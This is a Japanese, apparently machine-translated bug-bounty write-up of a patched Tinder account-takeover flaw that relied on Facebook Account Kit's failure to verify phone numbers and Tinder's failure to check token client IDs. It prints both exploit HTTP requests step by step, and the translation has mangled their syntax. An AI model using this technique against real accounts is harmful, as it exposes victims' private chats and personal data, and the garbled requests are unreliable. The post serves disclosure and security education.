Facebookのアカウントキットを使用してTinderアカウントをハッキングし、賞金で$ 6,250を獲得した方法

これは、責任ある開示ポリシーの下でFacebookの許可を得て公開されています。

このブログ投稿で言及されている脆弱性は、FacebookとTinderのエンジニアリングチームによってすぐに塞がれました。

この投稿は、Tinderのアプリケーションで発見したアカウント乗っ取りの脆弱性に関するものです。これを悪用することで、攻撃者は被害者のTinderアカウントにアクセスできる可能性があり、被害者は自分の電話番号を使用してログインしたに違いありません。

これは、Facebookが最近対処したFacebookのアカウントキットの脆弱性によって悪用された可能性があります。

TinderのWebアプリケーションとモバイルアプリケーションはどちらも、ユーザーが携帯電話番号を使用してサービスにログインできるようにします。そして、このログインサービスはアカウントキット(Facebook)によって提供されます。

ユーザーがtinder.comの[電話番号ログイン]をクリックすると、ログインのためにAccountkit.comにリダイレクトされます。認証が成功すると、アカウントキットはログインのためにアクセストークンをTinderに渡します。

興味深いことに、Tinder APIは、アカウントキットによって提供されたトークンのクライアントIDをチェックしていませんでした。

これにより、攻撃者はアカウントキットが提供する他のアプリのアクセストークンを使用して、他のユーザーの実際のTinderアカウントを乗っ取ることができました。

脆弱性の説明

アカウントキットはFacebookの製品で、パスワードを使わなくても、電話番号やメールアドレスだけを使用して、登録済みのアプリにすばやく登録してログインできます。信頼性が高く、使いやすく、ユーザーがアプリにサインアップする方法を選択できます。

Tinderは、新しい人を検索して会うためのロケーションベースのモバイルアプリです。これにより、ユーザーは他のユーザーを好きまたは嫌いにし、両方の当事者が右にスワイプした場合にチャットに進むことができます。

アカウントキットには、攻撃者が電話番号を使用するだけでユーザーのアカウントキットアカウントにアクセスできる脆弱性がありました。侵入すると、攻撃者はCookie(aks)に存在するユーザーのアカウントキットアクセストークンを入手した可能性があります。

その後、攻撃者はアクセストークン(aks)を使用して、脆弱なAPIを使用してユーザーのTinderアカウントにログインする可能性があります。

私のエクスプロイトがどのように機能したか

ステップ1

まず、攻撃者は、以下に示すAPIリクエストの「new_phone_number」に被害者の電話番号を入力して、被害者のアカウントキットアカウントにログインします。

アカウントキットは、電話番号とワンタイムパスワードのマッピングを検証していなかったことに注意してください。攻撃者は誰かの電話番号を入力してから、被害者のアカウントキットアカウントにログインする可能性があります。

次に、攻撃者は、アカウントキットアプリの被害者の「aks」アクセストークンをCookieからコピーする可能性があります。

脆弱なアカウントキットAPI:

POST / update / async / phone / confirm /?dpr = 2 HTTP / 1.1ホスト:www.accountkit.com new_phone_number = [vctimの電話番号]&update_request_code = c1fb2e919bb33a076a7c6fe4a9fbfa97 [攻撃者の要求コード]&confirmation_code = 258822 [攻撃者のコード] 1&__ dyn =&__ req = 6&__ be = -1&__ pc = PHASED%3ADEFAULT&__ rev = 3496767&fb_dtsg =&jazoest =

ステップ2

これで、攻撃者は、犠牲者のコピーされたアクセストークン「aks」を使用して次のリクエストを以下のTinderAPIに再生するだけです。

彼らは犠牲者のTheTinderアカウントにログインします。その場合、攻撃者は基本的に被害者のアカウントを完全に制御できます。プライベートチャットや完全な個人情報を読んだり、他のユーザーのプロファイルを左右にスワイプしたりすることができます。

脆弱なTinderAPI:

POST / v2 / auth / login / accountkit?locale = en HTTP / 1.1

ホスト:api.gotinder.com

接続:閉じる

コンテンツの長さ:185

起源://tinder.com

アプリバージョン:1000000

プラットフォーム:ウェブ

ユーザーエージェント:Mozilla / 5.0(Macintosh)

コンテンツタイプ:application / json

受け入れる:* / *

リファラー://tinder.com/

Accept-Encoding:gzip、deflate

Accept-Language:en-US、en; q = 0.9

{“ token”:” xxx”、” id”:””}

ビデオの概念実証

タイムライン

両方の脆弱性は、TinderとFacebookによって迅速に修正されました。Facebookは私に5,000ドルの報酬を与え、Tinderは1,250ドルの報酬をくれました。

私はAppSecureの創設者です。AppSecureは、長年のスキルと綿密な専門知識を備えたサイバーセキュリティ専門企業です。私たちは、オンラインおよびオフラインの脅威や脆弱性からビジネスと重要なデータを保護するためにここにいます。

[email protected]または[email protected]までご連絡ください。